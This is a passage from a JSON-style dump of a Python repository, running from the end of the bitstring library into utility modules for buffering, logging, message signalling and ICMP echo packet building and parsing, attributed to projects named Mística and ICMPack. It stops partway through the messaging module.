bitstring is advanced to after the read items.\n\n        Raises ReadError if not enough bits are available.\n        Raises ValueError if the format is not understood.\n\n        \"\"\"\n        if isinstance(fmt, numbers.Integral):\n            if fmt < 0:\n                raise ValueError(\"Cannot read negative amount.\")\n            if fmt > self.len - self._pos:\n                raise ReadError(\"Cannot read {0} bits, only {1} available.\",\n                                fmt, self.len - self._pos)\n            bs = self._slice(self._pos, self._pos + fmt)\n            self._pos += fmt\n            return bs\n        p = self._pos\n        _, token = tokenparser(fmt)\n        if len(token) != 1:\n            self._pos = p\n            raise ValueError(\"Format string should be a single token, not {0} \"\n                             \"tokens - use readlist() instead.\".format(len(token)))\n        name, length, _ = token[0]\n        if length is None:\n            length = self.len - self._pos\n        value, self._pos = self._readtoken(name, self._pos, length)\n        return value\n\n    def readlist(self, fmt, **kwargs):\n        \"\"\"Interpret next bits according to format string(s) and return list.\n\n        fmt -- A single string or list of strings with comma separated tokens\n               describing how to interpret the next bits in the bitstring. Items\n               can also be integers, for reading new bitstring of the given length.\n        kwargs -- A dictionary or keyword-value pairs - the keywords used in the\n                  format string will be replaced with their given value.\n\n        The position in the bitstring is advanced to after the read items.\n\n        Raises ReadError is not enough bits are available.\n        Raises ValueError if the format is not understood.\n\n        See the docstring for 'read' for token examples. 'pad' tokens are skipped\n        and not added to the returned list.\n\n        >>> h, b1, b2 = s.readlist('hex:20, bin:5, bin:3')\n        >>> i, bs1, bs2 = s.readlist(['uint:12', 10, 10])\n\n        \"\"\"\n        value, self._pos = self._readlist(fmt, self._pos, **kwargs)\n        return value\n\n    def readto(self, bs, bytealigned=None):\n        \"\"\"Read up to and including next occurrence of bs and return result.\n\n        bs -- The bitstring to find. An integer is not permitted.\n        bytealigned -- If True the bitstring will only be\n                       found on byte boundaries.\n\n        Raises ValueError if bs is empty.\n        Raises ReadError if bs is not found.\n\n        \"\"\"\n        if isinstance(bs, numbers.Integral):\n            raise ValueError(\"Integers cannot be searched for\")\n        bs = Bits(bs)\n        oldpos = self._pos\n        p = self.find(bs, self._pos, bytealigned=bytealigned)\n        if not p:\n            raise ReadError(\"Substring not found\")\n        self._pos += bs.len\n        return self._slice(oldpos, self._pos)\n\n    def peek(self, fmt):\n        \"\"\"Interpret next bits according to format string and return result.\n\n        fmt -- Token string describing how to interpret the next bits.\n\n        The position in the bitstring is not changed. If not enough bits are\n        available then all bits to the end of the bitstring will be used.\n\n        Raises ReadError if not enough bits are available.\n        Raises ValueError if the format is not understood.\n\n        See the docstring for 'read' for token examples.\n\n        \"\"\"\n        pos_before = self._pos\n        value = self.read(fmt)\n        self._pos = pos_before\n        return value\n\n    def peeklist(self, fmt, **kwargs):\n        \"\"\"Interpret next bits according to format string(s) and return list.\n\n        fmt -- One or more strings with comma separated tokens describing\n               how to interpret the next bits in the bitstring.\n        kwargs -- A dictionary or keyword-value pairs - the keywords used in the\n                  format string will be replaced with their given value.\n\n        The position in the bitstring is not changed. If not enough bits are\n        available then all bits to the end of the bitstring will be used.\n\n        Raises ReadError if not enough bits are available.\n        Raises ValueError if the format is not understood.\n\n        See the docstring for 'read' for token examples.\n\n        \"\"\"\n        pos = self._pos\n        return_values = self.readlist(fmt, **kwargs)\n        self._pos = pos\n        return return_values\n\n    def bytealign(self):\n        \"\"\"Align to next byte and return number of skipped bits.\n\n        Raises ValueError if the end of the bitstring is reached before\n        aligning to the next byte.\n\n        \"\"\"\n        skipped = (8 - (self._pos % 8)) % 8\n        self.pos += self._offset + skipped\n        assert self._assertsanity()\n        return skipped\n\n    pos = property(_getbitpos, _setbitpos,\n                   doc=\"\"\"The position in the bitstring in bits. Read and write.\n                      \"\"\")\n    bitpos = property(_getbitpos, _setbitpos,\n                      doc=\"\"\"The position in the bitstring in bits. Read and write.\n                      \"\"\")\n    bytepos = property(_getbytepos, _setbytepos,\n                       doc=\"\"\"The position in the bitstring in bytes. Read and write.\n                      \"\"\")\n\n\n\n\n\nclass BitStream(ConstBitStream, BitArray):\n    \"\"\"A container or stream holding a mutable sequence of bits\n\n    Subclass of the ConstBitStream and BitArray classes. Inherits all of\n    their methods.\n\n    Methods:\n\n    all() -- Check if all specified bits are set to 1 or 0.\n    any() -- Check if any of specified bits are set to 1 or 0.\n    append() -- Append a bitstring.\n    bytealign() -- Align to next byte boundary.\n    byteswap() -- Change byte endianness in-place.\n    count() -- Count the number of bits set to 1 or 0.\n    cut() -- Create generator of constant sized chunks.\n    endswith() -- Return whether the bitstring ends with a sub-string.\n    find() -- Find a sub-bitstring in the current bitstring.\n    findall() -- Find all occurrences of a sub-bitstring in the current bitstring.\n    insert() -- Insert a bitstring.\n    invert() -- Flip bit(s) between one and zero.\n    join() -- Join bitstrings together using current bitstring.\n    overwrite() -- Overwrite a section with a new bitstring.\n    peek() -- Peek at and interpret next bits as a single item.\n    peeklist() -- Peek at and interpret next bits as a list of items.\n    prepend() -- Prepend a bitstring.\n    read() -- Read and interpret next bits as a single item.\n    readlist() -- Read and interpret next bits as a list of items.\n    replace() -- Replace occurrences of one bitstring with another.\n    reverse() -- Reverse bits in-place.\n    rfind() -- Seek backwards to find a sub-bitstring.\n    rol() -- Rotate bits to the left.\n    ror() -- Rotate bits to the right.\n    set() -- Set bit(s) to 1 or 0.\n    split() -- Create generator of chunks split by a delimiter.\n    startswith() -- Return whether the bitstring starts with a sub-bitstring.\n    tobytes() -- Return bitstring as bytes, padding if needed.\n    tofile() -- Write bitstring to file, padding if needed.\n    unpack() -- Interpret bits using format string.\n\n    Special methods:\n\n    Mutating operators are available: [], <<=, >>=, +=, *=, &=, |= and ^=\n    in addition to [], ==, !=, +, *, ~, <<, >>, &, | and ^.\n\n    Properties:\n\n    bin -- The bitstring as a binary string.\n    bool -- For single bit bitstrings, interpret as True or False.\n    bytepos -- The current byte position in the bitstring.\n    bytes -- The bitstring as a bytes object.\n    float -- Interpret as a floating point number.\n    floatbe -- Interpret as a big-endian floating point number.\n    floatle -- Interpret as a little-endian floating point number.\n    floatne -- Interpret as a native-endian floating point number.\n    hex -- The bitstring as a hexadecimal string.\n    int -- Interpret as a two's complement signed integer.\n    intbe -- Interpret as a big-endian signed integer.\n    intle -- Interpret as a little-endian signed integer.\n    intne -- Interpret as a native-endian signed integer.\n    len -- Length of the bitstring in bits.\n    oct -- The bitstring as an octal string.\n    pos -- The current bit position in the bitstring.\n    se -- Interpret as a signed exponential-Golomb code.\n    ue -- Interpret as an unsigned exponential-Golomb code.\n    sie -- Interpret as a signed interleaved exponential-Golomb code.\n    uie -- Interpret as an unsigned interleaved exponential-Golomb code.\n    uint -- Interpret as a two's complement unsigned integer.\n    uintbe -- Interpret as a big-endian unsigned integer.\n    uintle -- Interpret as a little-endian unsigned integer.\n    uintne -- Interpret as a native-endian unsigned integer.\n\n    \"\"\"\n\n    __slots__ = ()\n\n    # As BitStream objects are mutable, we shouldn't allow them to be hashed.\n    __hash__ = None\n\n    def __init__(self, auto=None, length=None, offset=None, **kwargs):\n        \"\"\"Either specify an 'auto' initialiser:\n        auto -- a string of comma separated tokens, an integer, a file object,\n                a bytearray, a boolean iterable or another bitstring.\n\n        Or initialise via **kwargs with one (and only one) of:\n        bytes -- raw data as a string, for example read from a binary file.\n        bin -- binary string representation, e.g. '0b001010'.\n        hex -- hexadecimal string representation, e.g. '0x2ef'\n        oct -- octal string representation, e.g. '0o777'.\n        uint -- an unsigned integer.\n        int -- a signed integer.\n        float -- a floating point number.\n        uintbe -- an unsigned big-endian whole byte integer.\n        intbe -- a signed big-endian whole byte integer.\n        floatbe - a big-endian floating point number.\n        uintle -- an unsigned little-endian whole byte integer.\n        intle -- a signed little-endian whole byte integer.\n        floatle -- a little-endian floating point number.\n        uintne -- an unsigned native-endian whole byte integer.\n        intne -- a signed native-endian whole byte integer.\n        floatne -- a native-endian floating point number.\n        se -- a signed exponential-Golomb code.\n        ue -- an unsigned exponential-Golomb code.\n        sie -- a signed interleaved exponential-Golomb code.\n        uie -- an unsigned interleaved exponential-Golomb code.\n        bool -- a boolean (True or False).\n        filename -- a file which will be opened in binary read-only mode.\n\n        Other keyword arguments:\n        length -- length of the bitstring in bits, if needed and appropriate.\n                  It must be supplied for all integer and float initialisers.\n        offset -- bit offset to the data. These offset bits are\n                  ignored and this is intended for use when\n                  initialising using 'bytes' or 'filename'.\n\n        \"\"\"\n        self._pos = 0\n        # For mutable BitStreams we always read in files to memory:\n        if not isinstance(self._datastore, (ByteStore, ConstByteStore)):\n            self._ensureinmemory()\n\n    def __new__(cls, auto=None, length=None, offset=None, **kwargs):\n        x = super(BitStream, cls).__new__(cls)\n        y = ConstBitStream.__new__(BitStream, auto, length, offset, **kwargs)\n        x._datastore = ByteStore(y._datastore._rawarray[:],\n                                          y._datastore.bitlength,\n                                          y._datastore.offset)\n        return x\n\n    def __copy__(self):\n        \"\"\"Return a new copy of the BitStream.\"\"\"\n        s_copy = BitStream()\n        s_copy._pos = 0\n        if not isinstance(self._datastore, ByteStore):\n            # Let them both point to the same (invariant) array.\n            # If either gets modified then at that point they'll be read into memory.\n            s_copy._datastore = self._datastore\n        else:\n            s_copy._datastore = ByteStore(self._datastore._rawarray[:],\n                                          self._datastore.bitlength,\n                                          self._datastore.offset)\n        return s_copy\n\n    def prepend(self, bs):\n        \"\"\"Prepend a bitstring to the current bitstring.\n\n        bs -- The bitstring to prepend.\n\n        \"\"\"\n        bs = self._converttobitstring(bs)\n        self._prepend(bs)\n        self._pos += bs.len\n\n\ndef pack(fmt, *values, **kwargs):\n    \"\"\"Pack the values according to the format string and return a new BitStream.\n\n    fmt -- A single string or a list of strings with comma separated tokens\n           describing how to create the BitStream.\n    values -- Zero or more values to pack according to the format.\n    kwargs -- A dictionary or keyword-value pairs - the keywords used in the\n              format string will be replaced with their given value.\n\n    Token examples: 'int:12'    : 12 bits as a signed integer\n                    'uint:8'    : 8 bits as an unsigned integer\n                    'float:64'  : 8 bytes as a big-endian float\n                    'intbe:16'  : 2 bytes as a big-endian signed integer\n                    'uintbe:16' : 2 bytes as a big-endian unsigned integer\n                    'intle:32'  : 4 bytes as a little-endian signed integer\n                    'uintle:32' : 4 bytes as a little-endian unsigned integer\n                    'floatle:64': 8 bytes as a little-endian float\n                    'intne:24'  : 3 bytes as a native-endian signed integer\n                    'uintne:24' : 3 bytes as a native-endian unsigned integer\n                    'floatne:32': 4 bytes as a native-endian float\n                    'hex:80'    : 80 bits as a hex string\n                    'oct:9'     : 9 bits as an octal string\n                    'bin:1'     : single bit binary string\n                    'ue' / 'uie': next bits as unsigned exp-Golomb code\n                    'se' / 'sie': next bits as signed exp-Golomb code\n                    'bits:5'    : 5 bits as a bitstring object\n                    'bytes:10'  : 10 bytes as a bytes object\n                    'bool'      : 1 bit as a bool\n                    'pad:3'     : 3 zero bits as padding\n\n    >>> s = pack('uint:12, bits', 100, '0xffe')\n    >>> t = pack(['bits', 'bin:3'], s, '111')\n    >>> u = pack('uint:8=a, uint:8=b, uint:55=a', a=6, b=44)\n\n    \"\"\"\n    tokens = []\n    if isinstance(fmt, basestring):\n        fmt = [fmt]\n    try:\n        for f_item in fmt:\n            _, tkns = tokenparser(f_item, tuple(sorted(kwargs.keys())))\n            tokens.extend(tkns)\n    except ValueError as e:\n        raise CreationError(*e.args)\n    value_iter = iter(values)\n    s = BitStream()\n    try:\n        for name, length, value in tokens:\n            # If the value is in the kwd dictionary then it takes precedence.\n            if value in kwargs:\n                value = kwargs[value]\n            # If the length is in the kwd dictionary then use that too.\n            if length in kwargs:\n                length = kwargs[length]\n            # Also if we just have a dictionary name then we want to use it\n            if name in kwargs and length is None and value is None:\n                s.append(kwargs[name])\n                continue\n            if length is not None:\n                length = int(length)\n            if value is None and name != 'pad':\n                # Take the next value from the ones provided\n                value = next(value_iter)\n            s._append(BitStream._init_with_token(name, length, value))\n    except StopIteration:\n        raise CreationError(\"Not enough parameters present to pack according to the \"\n                            \"format. {0} values are needed.\", len(tokens))\n    try:\n        next(value_iter)\n    except StopIteration:\n        # Good, we've used up all the *values.\n        return s\n    raise CreationError(\"Too many parameters present to pack according to the format.\")\n\n\n# Aliases for backward compatibility\nConstBitArray = Bits\nBitString = BitStream\n\n__all__ = ['ConstBitArray', 'ConstBitStream', 'BitStream', 'BitArray',\n           'Bits', 'BitString', 'pack', 'Error', 'ReadError',\n           'InterpretError', 'ByteAlignError', 'CreationError', 'bytealigned']\n\nif __name__ == '__main__':\n    \"\"\"Create and interpret a bitstring from command-line parameters.\n\n    Command-line parameters are concatenated and a bitstring created\n    from them. If the final parameter is either an interpretation string\n    or ends with a '.' followed by an interpretation string then that\n    interpretation of the bitstring will be used when printing it.\n\n    Typical usage might be invoking the Python module from a console\n    as a one-off calculation:\n\n    $ python -m bitstring int:16=-400\n    0xfe70\n    $ python -m bitstring float:32=0.2 bin\n    00111110010011001100110011001101\n    $ python -m bitstring 0xff 3*0b01,0b11 uint\n    65367\n    $ python -m bitstring hex=01, uint:12=352.hex\n    01160\n\n    This feature is experimental and is subject to change or removal.\n    \"\"\"\n\n    # check if final parameter is an interpretation string\n    fp = sys.argv[-1]\n    if fp in name_to_read.keys():\n        # concatenate all other parameters and interpret using the final one\n        b = Bits(','.join(sys.argv[1: -1]))\n        print(b._readtoken(fp, 0, b.__len__())[0])\n    else:\n        # does final parameter end with a dot then an interpretation string?\n        interp = fp[fp.rfind('.') + 1:]\n        if interp in name_to_read.keys():\n            sys.argv[-1] = fp[:fp.rfind('.')]\n            b = Bits(','.join(sys.argv[1:]))\n            print(b._readtoken(interp, 0, b.__len__())[0])\n        else:\n            # No interpretation - just use default print\n            b = Bits(','.join(sys.argv[1:]))\n            print(b)\n"
  },
  {
    "path": "utils/buffer.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nclass Index(object):\n    def __init__(self):\n        self.chunks = []\n    \n    def add(self, chunk):\n        self.chunks.append(chunk)\n\n\nclass OverlayBuffer(object):\n    def __init__(self):\n        self.data = []\n    \n    def addIndex(self, index):\n        self.data.append(index)\n\n    def getChunk(self):\n        if not self.data:\n            raise Exception(\"There is no Index in OverlayBuffer\")\n        if not self.data[0].chunks:\n            raise Exception(\"There is no Chunk in OverlayBuffer\")\n        chunk = self.data[0].chunks.pop(0)\n        if not self.data[0].chunks:\n            self.data.pop(0)\n            return chunk,True\n        return chunk,False\n\n    def anyIndex(self):\n        return True if self.data else False\n\n\nclass WrapperBuffer(object):\n    def __init__(self):\n        self.data = Index()\n    \n    def addChunk(self, chunk):\n        self.data.add(chunk)\n\n    def getChunks(self):\n        if not self.data.chunks:\n            raise Exception(\"There is no Chunk in WrapperBuffer\")\n        chunks = self.data.chunks\n        self.data = Index()\n        return chunks"
  },
  {
    "path": "utils/icmp.py",
    "content": "#\n# Copyright (c) 2020 Raul Caro.\n#\n# This file is part of ICMPack \n# (see https://github.com/rcaroncd/ICMPack).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sys import byteorder\nfrom socket import htons\nfrom random import random\n\n\nclass Sizes(object):\n\t'''\n\tSee https://tools.ietf.org/html/rfc792 Page 14\n\t'''\n\tIP_HEADER = 20\n\tICMP_HEADER = 8\n\tICMP_TYPE = 1\n\tICMP_CODE = 1\n\tICMP_CHECKSUM = 2\n\tICMP_IDENTIFIER = 2\n\tICMP_SEQUENCE = 2\n\t# extra field of icmp data (sent by ping program by default)\n\tICMP_TIMESTAMP = 8\n\tICMP_UNKNOWN = 8\n\n\nclass Offsets(object):\n\t'''\n\tPrecalculate Offsets to parse ICMP Packet.\n\t'''\n\tIP_HEADER = Sizes.IP_HEADER\n\tICMP_HEADER = Sizes.IP_HEADER + Sizes.ICMP_HEADER\n\t# after ip header, start icmp header\n\tICMP_TYPE = Sizes.ICMP_TYPE\n\tICMP_CODE = ICMP_TYPE + Sizes.ICMP_CODE\n\tICMP_CHECKSUM = ICMP_CODE + Sizes.ICMP_CHECKSUM\n\tICMP_IDENTIFIER = ICMP_CHECKSUM + Sizes.ICMP_IDENTIFIER\n\tICMP_SEQUENCE = ICMP_IDENTIFIER + Sizes.ICMP_SEQUENCE\n\t# extra field of icmp data (sent by ping program by default)\n\tICMP_TIMESTAMP = ICMP_SEQUENCE + Sizes.ICMP_TIMESTAMP\n\tICMP_UNKNOWN = ICMP_TIMESTAMP + Sizes.ICMP_UNKNOWN\n\n\nclass Packet(object):\n\t\"\"\"\n\tClass for handling ICMP Echo Request and Echo Response packets\n\tfrom an array of bytes passed through input.\n\tRepresents an ICMP package Echo Request/Response\n\n\tICMP Echo / Echo Reply Message header info from RFC792\n\t\t-> http://tools.ietf.org/html/rfc792\n\n\t\t0                   1                   2                   3\n\t\t0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n\t\t+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\t\t|     Type      |     Code      |          Checksum             |\n\t\t+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\t\t|           Identifier          |        Sequence Number        |\n\t\t+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\t\t|     Data ...\n\t\t+-+-+-+-+-\n\n\t*Max data (available) per ICMP packet 65507 bytes:\n\n\t\t65535 bytes (Max IP Packet)\n\t\t  -20 bytes (IP Header)\n\t\t   -8 bytes (ICMP Header) \n\t\t===== \n\t\t65507 bytes ~= 65 Kb (1Mb ~= 16 ICMP Packets)\n\n\t\"\"\"\n\n\tREQUEST_TYPE = 8\n\tREQUEST_CODE = 0\n\tREQUEST_CHECKSUM = 0\n\tREQUEST_IDENTIFIER = 0\n\tREQUEST_SEQUENCE = 1\n\n\tRESPONSE_TYPE = 0\n\tRESPONSE_CODE = 0\n\tRESPONSE_CHECKSUM = 0\n\tRESPONSE_IDENTIFIER = 0\n\tRESPONSE_SEQUENCE = 1\n\n\tdef __init__(self, rawdata=None):\n\t\tself.type = b''\n\t\tself.code = b''\n\t\tself.checksum = b''\n\t\tself.id = b''\n\t\tself.seq = b''\n\t\tself.data = b''\n\t\t# passing raw data, try to unpack within icmp packet\n\t\tif rawdata != None:\n\t\t\tself.unpack(rawdata)\n\n\tdef __repr__(self):\n\t\treturn \"Packet()\"\n\n\tdef __str__(self):\n\t\tr =  f\"Type: '{self.type.hex()}', \"\n\t\tr += f\"Code: '{self.code.hex()}', \"\n\t\tr += f\"Checksum: '{self.checksum.hex()}', \"\n\t\tr += f\"Identifier: '{self.id.hex()}', \"\n\t\tr += f\"Sequence Number: '{self.seq.hex()}', \"\n\t\tr += f\"Data: '{self.data.hex()}'\"\n\t\treturn r\n\n\tdef unpack(self, data):\n\t\t\"\"\"\n\t\tExtracts data from a received ICMP Packet (Echo Request or Echo Response).\n\t\tDoes not ensure that the resulting data is that of a \n\t\tvalid icmp package, so the attributes should be\n\t\tchecked after performing this transformation.\n\t\t\"\"\"\n\t\tip_header = data[:Offsets.IP_HEADER]\n\t\ticmp_data = data[Offsets.IP_HEADER:]\n\t\tself.type = icmp_data[:Offsets.ICMP_TYPE]\n\t\tself.code = icmp_data[Offsets.ICMP_TYPE:Offsets.ICMP_CODE]\n\t\tself.checksum = icmp_data[Offsets.ICMP_CODE:Offsets.ICMP_CHECKSUM]\n\t\tself.id = icmp_data[Offsets.ICMP_CHECKSUM:Offsets.ICMP_IDENTIFIER]\n\t\tself.seq = icmp_data[Offsets.ICMP_IDENTIFIER:Offsets.ICMP_SEQUENCE]\n\t\tself.data = icmp_data[Offsets.ICMP_SEQUENCE:]\n\n\tdef calc_checksum(self, source_string):\n\t\t\"\"\"\n\t\tA port of the functionality of in_cksum() from ping.c\n\t\tIdeally this would act on the string as a series of 16-bit ints (host\n\t\tpacked), but this works.\n\t\tNetwork data is big-endian, hosts are typically little-endian.\n\n\t\tFrom https://github.com/mjbright/python3-ping/blob/master/ping.py\n\t\t\"\"\"\n\t\tcountTo = (int(len(source_string)/2))*2\n\t\tsum = 0\n\t\tcount = 0\n\n\t\t# Handle bytes in pairs (decoding as short ints)\n\t\tloByte = 0\n\t\thiByte = 0\n\t\twhile count < countTo:\n\t\t\tif (byteorder == \"little\"):\n\t\t\t\tloByte = source_string[count]\n\t\t\t\thiByte = source_string[count + 1]\n\t\t\telse:\n\t\t\t\tloByte = source_string[count + 1]\n\t\t\t\thiByte = source_string[count]\n\t\t\tsum = sum + (hiByte * 256 + loByte)\n\t\t\tcount += 2\n\n\t\t# Handle last byte if applicable (odd-number of bytes)\n\t\t# Endianness should be irrelevant in this case\n\t\tif countTo < len(source_string): # Check for odd length\n\t\t\tloByte = source_string[len(source_string)-1]\n\t\t\tsum += loByte\n\n\t\tsum &= 0xffffffff # Truncate sum to 32 bits (a variance from ping.c, which\n\t\t\t\t\t\t  # uses signed ints, but overflow is unlikely in ping)\n\n\t\tsum = (sum >> 16) + (sum & 0xffff)    # Add high 16 bits to low 16 bits\n\t\tsum += (sum >> 16)                    # Add carry from above (if any)\n\t\tanswer = ~sum & 0xffff                # Invert and truncate to 16 bits\n\t\tanswer = htons(answer)\n\t\treturn answer\n\n\tdef pack_request(self, data=None):\n\t\t\"\"\"\n\t\tCreate an ICMP Echo Request package with default data (like ping)\n\t\tor allow custom data to be passed to it.\n\t\t\"\"\"\n\t\tself.type = self.REQUEST_TYPE.to_bytes(Sizes.ICMP_TYPE,byteorder=byteorder)\n\t\tself.code = self.REQUEST_CODE.to_bytes(Sizes.ICMP_CODE,byteorder=byteorder)\n\t\tself.checksum = self.REQUEST_CHECKSUM.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big')\n\t\tnew_identifier = int((id(data) * random()) % 65535)\n\t\tself.id = new_identifier.to_bytes(Sizes.ICMP_IDENTIFIER,byteorder=byteorder)\n\t\tself.seq = self.REQUEST_SEQUENCE.to_bytes(Sizes.ICMP_SEQUENCE,byteorder='big')\t\t\n\t\tself.data = data\n\t\t\n\t\t# calculate new checksum of icmp request packet\n\t\traw_packet = self.toBytes()\n\t\tnewchecksum = self.calc_checksum(raw_packet)\n\t\tself.checksum = newchecksum.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big')\n\n\tdef pack_response(self, request, data=None):\n\t\t\"\"\"\n\t\tCreate an ICMP Echo Response package\n\t\t\"\"\"\n\t\tassert isinstance(request, Packet)\n\t\tself.type = self.RESPONSE_TYPE.to_bytes(Sizes.ICMP_TYPE,byteorder=byteorder)\n\t\tself.code = self.RESPONSE_CODE.to_bytes(Sizes.ICMP_CODE,byteorder=byteorder)\n\t\tself.checksum = self.RESPONSE_CHECKSUM.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big')\n\t\tself.id = request.id\n\t\tself.seq = request.seq\n\t\tassert isinstance(data, bytes)\n\t\tself.data = data\n\n\t\t# calculate new checksum of icmp response packet\n\t\traw_packet = self.toBytes()\n\t\tnewchecksum = self.calc_checksum(raw_packet)\n\t\tself.checksum = newchecksum.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big')\n\n\tdef toBytes(self):\n\t\t\"\"\"\n\t\tReturns an array of bytes corresponding to the icmp package built.\n\t\t\"\"\"\n\t\treturn (self.type + self.code + self.checksum + self.id + self.seq + self.data)\n"
  },
  {
    "path": "utils/logger.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom logging import DEBUG, INFO, ERROR\nfrom logging import Formatter, FileHandler, getLogger\nfrom glob import glob as Glob\nfrom os import path, mkdir, remove as Remove\n\nformatter = Formatter('%(asctime)s - %(message)s')\n\nclass Log():\n\n    NONE = 0\n    LOW = 1\n    MEDIUM = 2\n    HIGH = 3\n\n    def __init__(self,prefix=\"\",level=NONE):\n        self.level = level\n        if level != self.NONE:\n            self.clearFiles(prefix)\n            self.deb = self.setup_logger('debug_log', f\"logs/debug{prefix}.log\",DEBUG)\n            self.inf = self.setup_logger('info_log', f\"logs/info{prefix}.log\",INFO)\n            self.err = self.setup_logger('error_log', f\"logs/error{prefix}.log\",ERROR)\n            self.exc = self.setup_logger('exception_log', f\"logs/exception{prefix}.log\",ERROR)\n\n    def clearFiles(self,prefix):\n        if path.exists(\"logs\"):\n            files = Glob(f\"logs/*{prefix}.log\")\n            for f in files:\n                Remove(f)\n        else:\n            mkdir(\"logs\")\n\n    def setup_logger(self, name, log_file, level):\n        handler = FileHandler(log_file)        \n        handler.setFormatter(formatter)\n\n        logger = getLogger(name)\n        logger.setLevel(level)\n        logger.addHandler(handler)\n\n        return logger\n\n    def debug_all(self, message):\n        if self.level == self.HIGH:\n            self.deb.debug(message)\n\n    def debug(self, message):\n        if self.level > self.LOW:\n            self.deb.debug(message)\n\n    def error(self, message):\n        if self.level != self.NONE:\n            self.err.error(message)\n\n    def info(self, message):\n        if self.level != self.NONE:\n            self.inf.info(message)\n\n    def exception(self, message):\n        if self.level != self.NONE:\n            self.exc.exception(message)"
  },
  {
    "path": "utils/messaging.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom enum import Enum\nfrom sotp.core import Header,OptionalHeader,Sizes,Offsets,Status,Flags,Sync\nfrom sotp.core import Core\n\n\nclass MessageType(Enum):\n    STREAM = 0\n    SIGNAL = 1\n\n\nclass SignalType(Enum):\n    START = 0\n    TERMINATE = 1\n    STOP = 2\n    RESTART = 3\n    COMMS_FINISHED = 4\n    COMMS_BROKEN = 5\n    ERROR = 6\n    BUFFER_READY = 7\n\n\nclass Message():\n    '''\n    {\n        from : string,\n        from_id : int,\n        to : string,\n        to_id : int,\n        type : int,\n        content : (Arbitrary),\n        wrapServerQ: Queue (only in Mistica Server)\n    }\n    '''\n    def __init__(self, sender, sender_id, receiver, receiver_id, msgtype, content, wrapServerQ=None):\n        self.sender = sender\n        self.sender_id = sender_id\n        self.receiver = receiver\n        self.receiver_id = receiver_id\n        self.msgtype = msgtype\n        self.content = content\n        self.wrapServerQ = wrapServerQ\n\n    def __eq__(self, other):\n        return self.sender == other.sender and self.receiver == other.receiver and self.msgtype == other.msgtype and self.content == other.content\n\n    def isCommsFinishedMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_FINISHED:\n            return True\n        return False\n\n    def isCommsBrokenMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_BROKEN:\n            return True\n        return False\n\n    def isTerminateMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.TERMINATE:\n            return True\n        return False\n\n    def isCommunicationEndedMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_FINISHED:\n            return True\n        return False\n\n    def isCommunicationBrokenMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_BROKEN:\n            return True\n        return False\n\n    def isStartMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.START:\n            return True\n        return False\n\n    def isStopMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.STOP:\n            return True\n        return False\n\n    def isRestartMessage(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.RESTART:\n            return True\n        return False\n\n    def isBufferReady(self):\n        if self.msgtype == MessageType.SIGNAL and self.content == SignalType.BUFFER_READY:\n            return True\n        return False\n\n    def isStreamMessage(self):\n        return (self.msgtype == MessageType.STREAM)\n\n    def isSignalMessage(self):\n        return (self.msgtype == MessageType.SIGNAL)\n\n    # method for print/debug messages\n    def printHeader(self):\n        if self.isSignalMessage():\n            return f\"Signal Message: 